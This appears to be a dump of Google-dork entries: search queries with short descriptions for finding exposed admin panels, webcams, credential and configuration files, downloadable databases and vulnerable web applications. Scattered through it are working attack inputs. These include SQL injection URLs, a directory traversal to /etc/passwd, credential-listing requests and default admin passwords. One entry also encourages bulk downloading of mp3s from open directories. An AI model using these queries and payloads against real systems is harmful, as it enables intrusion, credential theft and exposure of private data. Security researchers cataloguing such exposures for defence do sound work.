intitle:"ASP FileMan" Resend - site:iisworks.com	intitle:"ASP FileMan" Resend - site:iisworks.com	FileMan is a corporate web based storage and file management solution for intra- and internet. It runs on Microsoft IIS webservers and is written in ASP. All user and group settings are stored in a MS Access or SQL database. Default user: user=admin, pass=passIn the default installation a diagnostigs page calleddiags.asp exists the manual recommends to delete it, but it can be found in some installs. The path to the database is also on the page. If the server is not configured correctly, the mdb file can be downloaded and the passwords are not encrypted.Site admins have been notified. As always: DO NOT ABUSE THIS.
intitle:"Directory	intitle:"Directory Listing For"	The Google Hackers Guide explains

Listing For" intext:Tomcat - intitle:Tomcat	intext:Tomcat -int	how to find Apache directory indexes, which are the most common found on the Internet. There are other ways however.This query is a generic search for servers using Tomcat with directory listings enabled. They are a bit more fancy than Apache's default lists and more importantly they will not be found using "index.of".
site:.viewnetcam.com - www.viewnetcam.com	site:.viewnetcam.com - www.viewnetcam.com	The FREE viewnetcam.com service allows you to create a personal web address (e.g., http://bob.viewnetcam.com) at which your camera's live image can be found on the Internet. How the camera and service works: Special Software embedded within your Panasonic Network Camera gives your camera the ability to locate your unique Internet address. No matter what kind of Internet connection you have or which Internet provider you use, the viewnetcam.com service will keep your camera's Internet address permanent.
inurl:/cgi-bin/finger? Enter (account|host|user|username)	inurl:/cgi-bin/finger? Enter (account|host|user|username)	The finger command on unix displays information about the system users. This search displays the webinterface for that command.
inurl:/cgi-bin/finger? "In real life"	inurl:/cgi-bin/finger? "In real life"	The finger command on unix displays information about the system users. This search displays pre-fingered users, so an attacker wouldn't even have to guess their accounts.
inurl:"calendar.asp?action=login"	inurl:"calendar.asp?action=login"	aspWebCalendar is a browser based software package that runs over a standard web browser, such as Internet Explorer from Microsoft, and allows an organization of any size to easily and cost effectively provide personal and group calendar functions to everyone in the organization.A vulnerability has been found for the (SQL version) script family from Full Revolution. Affected software is: aspWebAlbum, aspWebCalendar, aspWebHeadlines,

		aspWebMail. You can check it here: http://www.securityfocus.com/bid/11246Searches for aspWebAlbum and aspWebHeadlines:inurl:"album.asp?action=login"inurl:"news.asp?action=login"
"Powered by CubeCart"	"Powered by CubeCart"	----------Full path disclosure and sql injection on CubeCart 2.0.1----------[1]Introduction[2]The Problem[3]The Solution[4]Timeline[5]Feddback##[1]Introduction"CubeCart is an eCommerce script written with PHP & MySQL. With CubeCart you can setup a powerful online store as long as youhave hosting supporting PHP and one MySQL database."This info was taken from hxxp://www.cubecart.comCubeCart, from Brooky (hxxp://www.brooky.com), is a software formerly known as eStore.[2]The ProblemA remote user can cause an error in index.php using the parameter 'cat_id' which is not properly validated, displaying thesoftware's full installation path. It can also be used to inject sql commands. Examples follow:(a) http://example.com/store/index.php?cat_id='causes an error like this:"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/example/public_html/store/link_navi.php on line 35Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in/home/example/public_html/store/index.php on line 170Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource

		in/home/example/public_html/store/index.php on line 172"(b) http://example.com/store/index.php?cat_id=1 or 1=1--displays all categories in the database[3]The SolutionNone at this time.Vendor contacted and fix will be avaliable soon.[4]Timeline(2/10/2004) Vulnerability discovered(2/10/2004) Vendor notified(3/10/2004) Vendor response[5]FeedbackComments and stuff to cybercide@megamail.pt
inurl:confixx inurl:login|anmeldung	inurl:confixx inurl:login|anmeldung	Confixx is a webhosting management tool and has the following features: * create resellers, * edit personal data, * manage newsletters to resellers, * comprehensive stats, * powerful evaluation of traffic, * manage e-mail templates, * lock resellers. security focus has a vulnerability report on this.vendor: http://www.sw-soft.com/en/products/confixx/
"VHCS Pro ver" -demo	"VHCS Pro ver" -demo	VHCS is professional Control Panel Software for Shared, Reseller, vServer and Dedicated Servers.No vulnerabilities are reported to security focus.
intitle:"Virtual Server Administration System"	intitle:"Virtual Server Administration System"	VISAS, German control panel software like confixx.No vulnerabilities are reported to security focus.
"SysCP - login"	"SysCP - login"	sysCP: Open Source server management tool for Debian LinuxNo vulnerabilities are reported to security focus.
intitle:"ISPMan : Unauthorized Access prohibited"	intitle:"ISPMan : Unauthorized Access prohibited"	ISPMan is a distributed system to manage components of ISP from a central management interface.No vulnerabilities are reported to security focus.
"Login - Sun Cobalt RaQ"	"Login - Sun Cobalt RaQ"	The famous Sun linux appliance. Nice clean portal search.Various vulnerabilities are reported to security focus.

"OPENSRS Domain Management" inurl:manage.cgi	"OPENSRS Domain Management" inurl:manage.cgi	OpenSRS Domain Management SystemNo vulnerabilities are reported to security focus.
intitle:plesk inurl:login.php3	intitle:plesk inurl:login.php3	Plesk is server management software developed for the Hosting Service Industry. Various vulnerabilities are reported to security focus.
inurl:"level/15/exec/-/show"	inurl:"level/15/exec/-/show"	This search finds Cisco devices which have level 15 access open via webinterface. If an attacker wants to search for another level he can replace the "15" with this level. Levels below 10 need a leading zero (e.g. 04).Currently only the cached pages can be viewed.
inurl:/dana-na/auth/welcome.html	inurl:/dana-na/auth/welcome.html	Neoteris Instant Virtual Extranet (IVE) has been reported prone to a cross-site scripting vulnerability.The issue presents itself, due to a lack of sufficient sanitization performed on an argument passed to an IVE CGI script. An attacker may exploit this vulnerability to hijack valid Neoteris IVE sessions.advisories: http://secunia.com/product/1558/http://www.securityfocus.com/bid/7510
inurl:login.php "SquirrelMail version"	inurl:login.php "SquirrelMail version"	squirrelMail is a standards-based webmail package written in PHP4. It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 (with no JavaScript required) for maximum compatibility across browsers. It has very few requirements and is very easy to configure and install. SquirrelMail has all the functionality you would want from an email client, including strong MIME support, address books, and folder manipulation.
"Ideal BB Version: 0.1" -idealbb.com	"Ideal BB Version: 0.1" -idealbb.com	Ideal BB has been a popular choice for powering web based bulletin boards and we are now proud to introduce our next generation bulletin board Ideal

		BB.NET. Ideal Science IdealBB is reported prone to multiple unspecified input validation vulnerabilities. These issues result from insufficient sanitization of user-supplied data. Securityfocus currently has 3 reports idealBB.
(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")	(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")	The famous Sun linux appliance. The default page displays this text:"Congratulations on Choosing a Cobalt RaQ - the premier server appliance platform for web hosting. This page can easily be replaced with your own page. To replace this page, transfer your new content to the directory /home/sites/home/web".
"Powered by YaPig V0.92b"	"Powered by YaPig V0.92b"	YaPiG is reported to contain an HTML injection vulnerability. The problem is reported to present itself due to a lack of sanitization performed on certain field data.This may allow an attacker to inject malicious HTML and script code into the application.http://www.securityfocus.com/bid/11452
intitle:"toshiba network camera - User Login"	intitle:"toshiba network camera - User Login"	Web interface of Toshiba network cameras.
inurl:"/site/articles.asp?idcategory="	inurl:"/site/articles.asp?idcategory="	Dwc_Articles is an ASP application designed to add Featured, Recent and Popular News through an easy to use administration area. Other features: Design Packages, Add, Modify, Deactive through HTML/Wysiwyg Editor, Nearly all scripts suffer from possible sql injections. http://www.securityfocus.com/bid/11509
index.of.dcim	index.of.dcim	The DCIM directory is the default name for a few brands of digital camers. This is not a big network security risk, but like netcams it can reveal juicy details if found on corporate intranets.

intitle:"phpremote view" filetype:php "Name, Size, Type, Modify"	intitle:"phpremoteview" filetype:php "Name, Size,	phpRemoteView is webbased filemanger with a basic shell. With this an attacker can browse the server filesystem use the online php interpreter.vendor: http://php.spb.ru/remview/ (russian)
intitle:"index of" -inurl:htm -inurl:html mp3	intitle:"index of" -inurl:htm -inurl:html mp3	Yes! I probably have should have told you guys earlier, but this is how ive been getting 100% of my mp3s. It fricken rocks, use it and abuse it. Downfalls to it... a)sometimes you shouldnt include mp3 in the query and getting what you want takes several different methods of searching b)a lot of the time google gives you results and they are not there thanks to good old friend 404 c)finding stuff takes a lot of practice. Goods... a)ive found whole albums b)ive mass downloaded directories of hundreds of songs that i have intrest in c)its exciting seeing the results, like fining treasure.
intitle:"Index of" upload size parent directory	intitle:"Index of" upload size parent directory	Files uploaded through ftp by other people, sometimes you can find all sorts of things from movies to important stuff.
filetype:cgi inurl:nbmember.cgi	filetype:cgi inurl:nbmember.cgi	vulnerable Netbilling nbmember.cgiNetbilling 'nbmember.cgi' script is reported prone to an information disclosure vulnerability. This issue may allow remote attackers to gain access to user authentication credentials and potentially sensitive configuration information.The following proof of concept is available:http://www.example.com/cgi-bin/nbmember.cgi?cmd=testhttp://www.example.com/cgi-bin/nbmember.cgi?cmd=list_all_users&keyword=hereistheaccesskeywordhttp://www.securityfocus.com/bid/11504
"Powered by Coppermine Photo Gallery"	"Powered by Coppermine Photo Gallery"	published Oct 20, 2004, updated Oct 20, 2004vulnerable:Coppermine Photo Gallery Coppermine Photo Gallery

		1.0Coppermine Photo Gallery Coppermine Photo Gallery 1.1Coppermine Photo Gallery Coppermine Photo Gallery 1.2Coppermine Photo Gallery Coppermine Photo Gallery 1.2.1Coppermine Photo Gallery Coppermine Photo Gallery 1.3Coppermine Photo Gallery Coppermine Photo Gallery 1.3.1Coppermine Photo Gallery Coppermine Photo Gallery 1.3.2Coppermine Photo Gallery is reported prone to a design error that may allow users to cast multiple votes for a picture.All versions of Coppermine Photo Gallery are considered vulnerable at the moment.http://www.securityfocus.com/bid/11485
"Powered by WowBB" -site:wowbb.com	"Powered by WowBB" -site:wowbb.com	WowBB is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content and SQL database queries.An attacker can leverage these issues to manipulate or reveal database contents through SQL injection attacks as well as carry out other attacks and steal cookie-based authentication credentials through cross-site scripting attacks.http://www.securityfocus.com/bid/11429http://www.wowbb.com/
"Powered by ocPortal" -demo -ocportal.com	"Powered by ocPortal" -demo -ocportal.com	Reportedly ocPortal is affected by a remote file include vulnerability. This issue is due to a failure of the application to sanitize user supplied URI input.An attacker might leverage this issue to run arbitrary server side script code on a vulnerable computer with the privileges of the web server process. This may potentially result in a compromise of the vulnerable

		computer as well as other attacks.http://www.securityfocus.com/bid/11368
inurl:"slxweb.dll"	inurl:"slxweb.dll"	salesLogix is the Customer Relationship Management solution thatdrives sales performance in small to medium-sized businesses through Sales, Marketing, and Customer Support automation and back-office integration.The problem:By manipulating the cookies used by the Web Client, it is possible totrick the server into authenticating a remote user as the CRM administrator without requiring a password. It is also possible to perform SQL injection attacks on the SQL serverthat is used as the data store for the SalesLogix CRM system, reveal detailed error reports contained in HTTP headers and disclose the real filesystem paths to various SalesLogix directories. The SalesLogix server itself is vulnerable to an attack that wouldallow a malicious user to obtain the username and password used to access the SQL server used as a data store. The disclosed username and password always have read/write permissions on the database. Another vulnerability in the SalesLogix server allows anunauthenticated user to upload arbitrary files to the server in any directory (s)he chooses.http://www.securityfocus.com/bid/11450
"Powered by DMXReady Site Chassis Manager" - site:dmxready.com	"Powered by DMXReady Site Chassis Manager" - site:dmxready.com	It is reported that DMXReady Site Chassis Manager is susceptible to two remotely exploitable input validation vulnerabilities. These vulnerabilities are due to a failure of the application to properly sanitize user-supplied data.The first issue is an unspecified cross-site scripting vulnerability. This issue could permit a remote attacker to create a malicious URI link that

		includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.The second issue is an unspecified SQL injection vulnerability. It may be possible for a remote user to inject arbitrary SQL queries into the underlying database used by the application. This could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.Successful exploitation could result in compromise of the application, disclosure or modification of data or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
"Powered by My Blog" intext:"FuzzyMonkey.org"	"Powered by My Blog" intext:"FuzzyMonkey.org"	FuzzyMonkey My Blog is vulnerable to multiple input validation vulnerabilities. These issues are caused by a failure to validate and filter user-supplied strings before including them in dynamic Web page content.An attacker could leverage these issues to carry out cross-site scripting attacks against unsuspecting users, facilitating theft of cookie-based authentication credentials as well as other attacks.vulnerable FuzzyMonkey My Blog 1.15FuzzyMonkey My Blog 1.16FuzzyMonkey My Blog 1.17FuzzyMonkey My Blog 1.18FuzzyMonkey My Blog 1.19FuzzyMonkey My Blog 1.20not vulnerable FuzzyMonkey My Blog 1.21 They also have several other scripts, which may or may not be vulnerable. But remember Murphy's law also applies to software writers.# My Photo Gallery (picture and file sharing software)# My Calendar (quick

		and easy web calendar)# My Voting Script# My Guestbookhttp://www.securityfocus.com/bid/11325
inurl:wiki/MediaWiki	inurl:wiki/MediaWiki	MediaWiki is reported prone to a cross-site scripting vulnerability. This issue arises due to insufficient sanitization of user-supplied data. A remote attacker may exploit this vulnerability to execute arbitrary HTML and script code in the browser of a vulnerable user.bugtraq id 11480objectclass Input Validation Errorcve CVE-MAP-NOMATCHremote Yeslocal Nopublished Oct 18, 2004updated Oct 20, 2004vulnerable MediaWiki MediaWiki 1.3MediaWiki MediaWiki 1.3.1MediaWiki MediaWiki 1.3.2MediaWiki MediaWiki 1.3.3MediaWiki MediaWiki 1.3.4MediaWiki MediaWiki 1.3.5MediaWiki MediaWiki 1.3.6not vulnerable MediaWiki MediaWiki 1.3.7
"inurl:/site/articles.asp?idcategory="	"inurl:/site/articles.asp?idcategory="	Dwc_Articles, is an ASP application designed to add Featured, Recent and Popular News through an easy to use administration area. Other features: Design Packages, Add, Modify, Deactive through HTML/Wysiwyg Editor, Upload, categories, Multiple Users and more.Nearly all scripts suffer from possible sql injections. This may lead an attacker to change websites content or even worse, a login as an admin.vulnerable:
"Enter ip" inurl:"php-ping.php"	"Enter ip" inurl:"php-ping.php"	It has been reported that php-ping may be prone to a remote command execution vulnerability that may allow remote attackers to execute commands on vulnerable systems. The problem exists due to insufficient sanitization of shellmetacharacters via the 'count' parameter of php-ping.php

		script.report: http://www.securityfocus.com/bid/9309/info/sample: http://img64.exs.cx/my.php?loc=img64&image=phpping.jpg
"File Upload Manager v1.3" "rename to"	"File Upload Manager v1.3" "rename to"	thepeak file upload manager let you manage your webtree with up and downloading files.
inurl:click.php intext:PHPClickLog	inurl:click.php intext:PHPClickLog	A script written in PHP 4 which logs a user's statistics when they click on a link. The log is stored in a flatfile (text) database and can be viewed/inspected through an administration section.
intitle:welcome.to.horde	intitle:welcome.to.horde	Horde Mail is web based email software, great for checking messages on the road. Several vulnerabilities were reported to Security Focus.
intitle:"AppServ Open Project" - site:www.appservnetwork.com	intitle:"AppServ Open Project" - site:www.appservnetwork.com	AppServ is the Apache/PHP/MySQL open source software installer packages. This normally includes convenient links to phpMyAdmin and phpInfo() pages.
"powered by YellDL"	"powered by YellDL"	Finds websites using YellDL (or also known as YellDownLoad), a download tracker written in PHP. Unfortunately this downloader downloads everything you want to, like its own files too:http://xxxxxxxxxx/download.php?f=../download&e=phpBy guessing some could download information which shoudln't get out of the server (think of ../phpMyAdmin/config.php or other stuff - no need to say that lazy people use same passwords for their DB- and FTP-login.Another search to find this software is:"You are downloading *" "you are downloader number * of this file"
intitle:"index of" intext:"content.ie5"	intitle:"index of" intext:"content.ie5"	This dork indicates the "Local settings" dir in most cases, and browseble server directories in general.
intitle:"php icalendar administration" -	intitle:"php icalendar administration" - site:sourceforge.net	PHP iCalendar is a php-based iCal file parser. Its based on v2.0 of the IETF spec. It displays iCal files in a nice

site:sourceforge.net		logical, clean manner with day, week, month, and year navigation.This reveals the administration interface.
intitle:"Web Server Statistics for ****"	intitle:"Web Server Statistics for ****"	These are www analog webstat reports. The failure report shows information leakage about database drivers, admin login pages, SQL statements, etc.
filetype:php inurl:index inurl:phpicalendar -site:sourceforge.net	filetype:php inurl:index inurl:phpicalendar -site:sourceforge.net	PHP iCalendar is a php-based iCal file parser. Its based on v2.0 of the IETF spec. It displays iCal files in a nice logical, clean manner with day, week, month, and year navigationThis reveals the RSS info for the user calendars.
intitle:"php icalendar administration" -site:sourceforge.net	intitle:"php icalendar administration" -site:sourceforge.net	This is the adminstration login portal search for PHP iCalendar. It is compatible with Evolution and clients for other platforms. Admin uuthentication has two choices, FTP and Internal. For the latter the defaults are "admin/admin".There is also a more generic search in the GHDB that an attacker use and then modify to ../admin.php to reach the adminstration pages. Access to adminstration allows an attacker to upload new ICS files or delete present ones.
intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"	intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"	phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fieldsThe servers found here can be acessed without authentication. This search is restricted to NON-ROOT users! See ID 510 for a root user search.
"please visit" intitle:"i-Catcher Console" Copyright "iCode Systems"	"please visit" intitle:"i-Catcher Console" Copyright "iCode Systems"	CCTV webcams by ICode.
inurl:irc filetype:cgi cgi:irc	inurl:irc filetype:cgi cgi:irc	CGIIRC is a web-based IRC client. Using a non-transparent proxy an attacker could communicate

		anonymously by sending direct messages to a contact. Most servers are restricted to one irc server and one or more default channels and will not let allow access to anything else.
natterchat inurl:home.asp - site:natterchat.co.uk	natterchat inurl:home.asp - site:natterchat.co.uk	NatterChat is a webbased chat system written in ASP.An SQL injection vulnerability is identified in the application that may allow attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. This allows the attacker to gain admin access...
filetype:inf inurl:capolicy.inf	filetype:inf inurl:capolicy.inf	The CAPolicy.inf file provides Certificate Servicces configuration information, which is read during initial CA installation an whenever you renew a CA certificate. The CApolicy.inf file defines settings specific to root CAs, as well as settings that affect all CAs in the CA hierarchiy.
"Certificate Practice Statement" inurl:(PDF | DOC)	"Certificate Practice Statement" inurl:(PDF | DOC)	Certificate Practice Statement (CPS)A CPS defines the measures taken to secure CA operation and the management of CA-issued certificates. You can consider a CPS to be an agreement between the organization managing the CA and the people relying on on the certificates issued by the CA.
filetype:cgi inurl:cachemgr.cgi	filetype:cgi inurl:cachemgr.cgi	cachemgr.cgi is a management interface for the Squid proxy service. It was installed by default in /cgi-bin by RedHat Linux 5.2 and 6.0 installed with Squid. This script prompts for a host and port which it then attempts to connect to. If a web server, such as apache, is running this can be used to connect to arbitrary hosts and ports, allowing for potential use as an intermediary in denial of service attacks, proxied port scans, etc. Interpreting the output of the script can

		allow the attacker to determine whether or not a connection was established.
inurl:chap-secrets -cvs	inurl:chap-secrets -cvs	linux vpns store their usernames and passwords for CHAP authentification in a file called "chap-secrets" where the usernames and the passwords are in cleartext.
inurl:pap-secrets -cvs	inurl:pap-secrets -cvs	linux vpns store there usernames and passwords for PAP authentification in a file called "pap-secrets" where the usernames and the passwords are in cleartext.
filetype:ini inurl:"serv-u.ini"	filetype:ini inurl:"serv-u.ini"	serv-U is a ftp/administration server for Windows. This file leaks info about the version, username and password. Passwords are in encrypted, but there is a decryption program available on the Net. An attacker could use this search to upload dangerous code etc.
inurl:"forumdisplay.php" +"Powered by: vBulletin Version 3.0.0..4"	inurl:"forumdisplay.php" +"Powered by: vBulletin Version 3.0.0..4"	vBulletin is reported vulnerable to a remote SQL injection vulnerability. This issue is due to a failure of the application to properly validate user-supplied input prior to including it in an SQL query. An attacker may exploit this issue to manipulate and inject SQL queries onto the underlying database. It will be possible to leverage this issue to steal database contents including administrator password hashes and user credentials as well as to make attacks against the underlying database. Versions 3.0 through to 3.0.3 are reportedly affected by this issue.http://www.securityfocus.com/bid/11193
WebControl intitle:"AMX NetLinx"	WebControl intitle:"AMX NetLinx"	AMX Netlink is a server appliance which connects various devices like a beamer, laptop or video recorder to the internet.
inurl:ConnectComputer/precheck.htm | inurl:Remote/logo	inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx	Windows Small Business Server 2003: The network configuration page is called "ConnectComputer/precheck.htm " and

n.aspx		the Remote Web login page is called "remote/logon.aspx".
inurl:aol*/_do/rss_popup?blogID=	inurl:aol*/_do/rss_popup?blogID=	AOL Journals BlogID Incrementing Discloses Account Names and Email AddressesAOL Journals is basically "America Online's version of a blog (weblog) for AOL members/subscribers. A vulnerability in AOL Journals BlogID allows an attacker to numbers provided to the program and enumerate a list of AOL members/subscribers and their corresponding email.
(inurl:/shop.cgi/page=) | (inurl:/shop.pl/page=)	(inurl:/shop.cgi/page=) | (inurl:/shop.pl/page=)	This is a "double dork" finds two different shopping carts, both vulnerable1) Cyber-Village Online Consulting Shopping CartCyber-Village's script is known to not sanitize the user input properly which leads to code execution problems.2) Hassan Consulting's Shopping CartFor Hassan's cart it is reported that a remote user can request the 'shop.cfg' and that the script allows directory traversal.
inurl:newsdesk.cgi? inurl:"t="	inurl:newsdesk.cgi? inurl:"t="	Newsdesk is a cgi script designed to allow remote administration of website news headlines.Due to a failure in the sanitization of parameters a remote user can reveal the contents of any file. This allows the attacker to download user and password data.It is furthermore known that it is possible to run system commands remotely.
"Switch to table format" inurl:table|plain	"Switch to table format" inurl:table|plain	This is an index page of OReilly WebSite Professional.WebsitePro was developed by O'reily and disconinued on August 2001. The product was then continued by Deerfield.com
intitle:"Home" "Xerox Corporation" "Refresh Status"	intitle:"Home" "Xerox Corporation" "Refresh Status"	CentreWare Internet Services is an interactive service that uses Internet technology to extend the capabilities of your DocuPrint printer using Internet technology. An HTTP server

		application developed by Xerox is resident on your network-enabled DocuPrint printer. This HTTP server provides access to advanced services for the installation, configuration, and management of your DocuPrint printer.
inurl:webutil.pl	inurl:webutil.pl	webutil.pl is a web interface to the following services:* ping* traceroute* whois* finger* nslookup* host* dnsquery* dig* calendar* uptime
"About Mac OS Personal Web Sharing"	"About Mac OS Personal Web Sharing"	Mac OS Personal Web Sharing allows Mac OS users to share Folders over the Web.If you open this page you will shown the system's major version as requirement.
ext:conf NoCatAuth -cvs	ext:conf NoCatAuth -cvs	NoCatAuth configuration file. This reveals the configuration details of wirless gateway including ip addresses, device names and pathes.
inurl:"putty.reg"	inurl:"putty.reg"	This registry dump contains putty saved session data. SSH servers the according usernames and proxy configurations are stored here.
intitle:"Icecast Administration Admin Page"	intext:"Icecast Administration Admin Page" intitle:"Icecast Administration Admin Page"	Icecast streaming audio server web admin.This gives you a list of connected clients. Interesting way of finding attackable client computers.
inurl:/adm-cfgedit.php	inurl:/adm-cfgedit.php	PhotoPost Pro is photo gallery system. This dork finds its installation page.You can use this page to set all parameters of the system. The existing data is not shown :(
"liveice configuration file" ext:cfg -site:sourceforge.net	"liveice configuration file" ext:cfg -site:sourceforge.net	This finds the liveice.cfg file which contains all configuration data for an Icecast server. Passwords are saved unencrypted in this file.
inurl:portscan.php "from Port"|"Port Range"	inurl:portscan.php "from Port"|"Port Range"	This is general search for online port scanners which accept any IP. It does not find a specific scanner script, but searches for a pattern which will match some more scanners.
intitle:"sysinfo * "	intitle:"sysinfo * "	Lots of information leakage on these

intext:"Generated by Sysinfo * written by The Gamblers."	intext:"Generated by Sysinfo * written by The Gamblers."	pages about active network services, server info, network connections, etc..
filetype:pst pst -from -to -date	filetype:pst pst -from -to -date	Finds Outlook PST files which can contain emails, calendaring and address information.
intitle:Configuration.File inurl:softcart.exe	intitle:Configuration.File inurl:softcart.exe	This search finds configuration file errors within the softcart application. It includes the name of the configuration file and discloses server file paths.
inurl:technote inurl:main.cgi*filename=*	inurl:technote inurl:main.cgi*filename=*	http://www.securityfocus.com/bid/2156/discussion/ Remote command execution vulnerability in the filename parameter.
intext:"Ready with 10/100T Ethernet"	intext:"Ready with 10/100T Ethernet"	Xerox 860 and 8200 Printers.
intext:"UAA (MSB)" Lexmark -ext:pdf	intext:"UAA (MSB)" Lexmark -ext:pdf	Lexmark printers (T620, T522, Optra T614, E323, T622, Optra T610, Optra T616, T520 and Optra S 1855)
intitle:"Welcome to Your New Home Page!" "by the Debian release"	intitle:"Welcome to Your New Home Page!" "by the Debian release"	This finds the default Apache page on Debian installs.
"intitle:Index.Of /" stats merchant cgi-* etc	"intitle:Index.Of /" stats merchant cgi-* etc	This search looks for indexes with the following subdirectories: stats, merchant, online-store and cgi-local or cgi-bin. These servers have a shopping cart application called softcart in their cgi-local or cgi-bin directory. Reportedly, it is possible to execute arbitrary code by passing a malformed CGI parameter in an HTTP GET request. This issue is known to affect SoftCart version 4.00b.
"running: Nucleus v3.1" -.nucleuscms.org -demo	"running: Nucleus v3.1" -.nucleuscms.org -demo	Multiple unspecified vulnerabilities reportedly affect Nucleus CMS. A remote attacker may leverage these issues to steal cookie-based authentication credentials, reveal sensitive data and corrupt database contents.

		http://www.securityfocus.com/bid/11631
"intitle:Cisco Systems, Inc. VPN 3000 Concentrator"	"intitle:Cisco Systems, Inc. VPN 3000 Concentrator"	The Cisco VPN 3000 Concentrator is a remote access VPN. The 'Concentrator' is a piece of hardware that manages a companies VPN's. This google dork searches for the Concentrators login portal for remote access. With the correct username and password an attacker can '0wn' their Concentrator; i.e. be able to delete, copy, read, configure anything on the Concentrator.
"driven by: ASP Message Board"	"driven by: ASP Message Board"	Multiple unspecified vulnerabilities reportedly affect the Infusium ASP Message Board. A remote attacker may leverage these issues to steal cookie-based authentication credentials, reveal sensitive data and corrupt database contents. vulnerable Infuseum ASP Message Board 2.2.1 cAdding the 2.2.1c seems to filter out some good positives, so I left it out.
ext:asp inurl:DUgallery intitle:"3.0" -site:dugallery.com -site:duware.com	ext:asp inurl:DUgallery intitle:"3.0" -site:dugall	The MS access database can be downloaded from inside the docroot. The user table holds the admin password in plain text. Possible locations for the dugallery database are:http://xx/.../DUgallery/database/dugallery.mdbhttp://xx/.../DUgallery//_private/DUgallery.mdbhttp://www.securitytracker.com/alerts/2004/Nov/1012201.html
ext:asp "powered by DUForum" inurl:(messages|details|login|default|register) -site:duware.com	ext:asp "powered by DUForum" inurl:(messages|details|login|default|register) -site:duware.com	DUForum is one of those free forum software packages. The database location is determined by the config file "connDUforumAdmin.asp", but the installation instructions don't recommend changing it. Ouch..Database location is: http://server/duforum/_private/DUforum.mdb
intext:"enable secret 5 $"	intext:"enable secret 5 $"	sometimes people make mistakes and post their cisco configs on "help sites"

		and don't edit the sensitive fields first. Don't forget to also query Google Groups for this string.
inurl:postfixadmin intitle:"postfix admin" ext:php	inurl:postfixadmin intitle:"postfix admin" ext:php	Postfix Admin login pages. Duh.
ext:cgi inurl:editcgi.cgi inurl:file=	ext:cgi inurl:editcgi.cgi inurl:file=	This was inspired by the K-Otic report. Only two results at time of writing. The cgi script lets you view any file on the system, including /etc/.. (guess it ;)http://www.k-otik.com/exploits/08242004.Axis.sh.php
inurl:axis-cgi	inurl:axis-cgi	Just another search string to detect the infamous Axis netcams. This company actually changed the generic /cgi-bin/ directory name to /axis-cgi/, making it easier to d0rk them ;)
filetype:ns1 ns1	filetype:ns1 ns1	Netstunbler files contain information about the wireless network. For a cleanup add stuff like: +"Creator" +"Format" +"DateGMT".
"Starting SiteZAP 6.0"	"Starting SiteZAP 6.0"	siteZap webcams !
intitle:"phpPgAdmin - Login" Language	intitle:"phpPgAdmin - Login" Language	phpPgAdmin is a web-based administration tool for PostgreSQL. It is perfect for PostgreSQL DBAs, newbies and hosting services
filetype:config web.config -CVS	filetype:config web.config -CVS	Through Web.config an IIS adminstrator can specify settings like custom 404 error pages, authentication and authorization settings for the Web site. This file can hold a plaintext password in the worst case or just reveil the full path info on a 404 error.
filetype:myd myd -CVS	filetype:myd myd -CVS	MySQL stores its data for each database in individual files with the extension MYD.An attacker can copy these files to his machine and using a tool like 'strings' possibly view the contents of the database.
"Obtenez votre forum Aztek" -	"Obtenez votre forum Aztek" - site:forum-aztek.com	Atztek Forum is a french forum system. Aztek Forum is reported prone

site:forum-aztek.com		to multiple input validation vulnerabilities. These issues may allow an attacker to carry out cross-site scripting and possibly other attacks.http://www.securityfocus.com/bid/11654
inurl:/SiteChassisManager/	inurl:/SiteChassisManager/	Unknown SQL injection and XSS vulnerabilities in DMXReady Site Chassis Manager.http://www.securityfocus.com/bid/11434/discussion/
"Powered by Land Down Under 601"	"Powered by Land Down Under 601"	sQL injection vulnerability in Land Down Under 601 could give an attacker administrative access. An exploit exists on the internet, search google.
intitle:"EvoCam" inurl:"webcam.html"	intitle:"EvoCam" inurl:"webcam.html"	Evocams !
inurl:directorypro.cgi	inurl:directorypro.cgi	A security vulnerability in the product allows attackers to perform a directory traversal attack and access files that reside outside the normal HTTP root directory.http://target/cgi-bin/directorypro.cgi?want=showcat&show=../../../../etc/passwd%00http://www.securityfocus.com/bid/2793
intitle:"PhpMyExplorer" inurl:"index.php" -cvs	intitle:"PhpMyExplorer" inurl:"index.php" -cvs	PhpMyExplorer is a PHP application that allows you to easily update your site online without any FTP access. A security vulnerability in the product allows attackers to view and read files that reside outside the normal bound directory.
inurl:cal_make.pl	inurl:cal_make.pl	A security vulnerability in PerlCal allows remote attackers to access files that reside outside the normally bounding HTML root directory. http://www.securityfocus.com/bid/2663
inurl:/webedit.* intext:WebEdit Professional -html	inurl:/webedit.* intext:WebEdit Professional -html	WebEdit is a content management system. This is the login portal search.

intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html)	intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html)	The Apache::Status returns information about the server software, operating system, number of child processes and current visitors. The official documentation can be found at hxxp://search.cpan.org/~gozer/mod_perl-1.29/lib/Apache/Status.pm
"Powered by PowerPortal v1.3"	"Powered by PowerPortal v1.3"	PowerPortal is reported vulnerable to remote SQL injection. This issue is due to a failure of the application to properly validate user-supplied input prior to including it in an SQL query. PowerPortal 1.3 is reported prone to this vulnerability, however, it is possible that other versions are affected as well. An example URI sufficient to exploit this vulnerability has been provided: http://www.example.com/pp13/index.php?index_page=and 1=1http://www.securityfocus.com/bid/11681
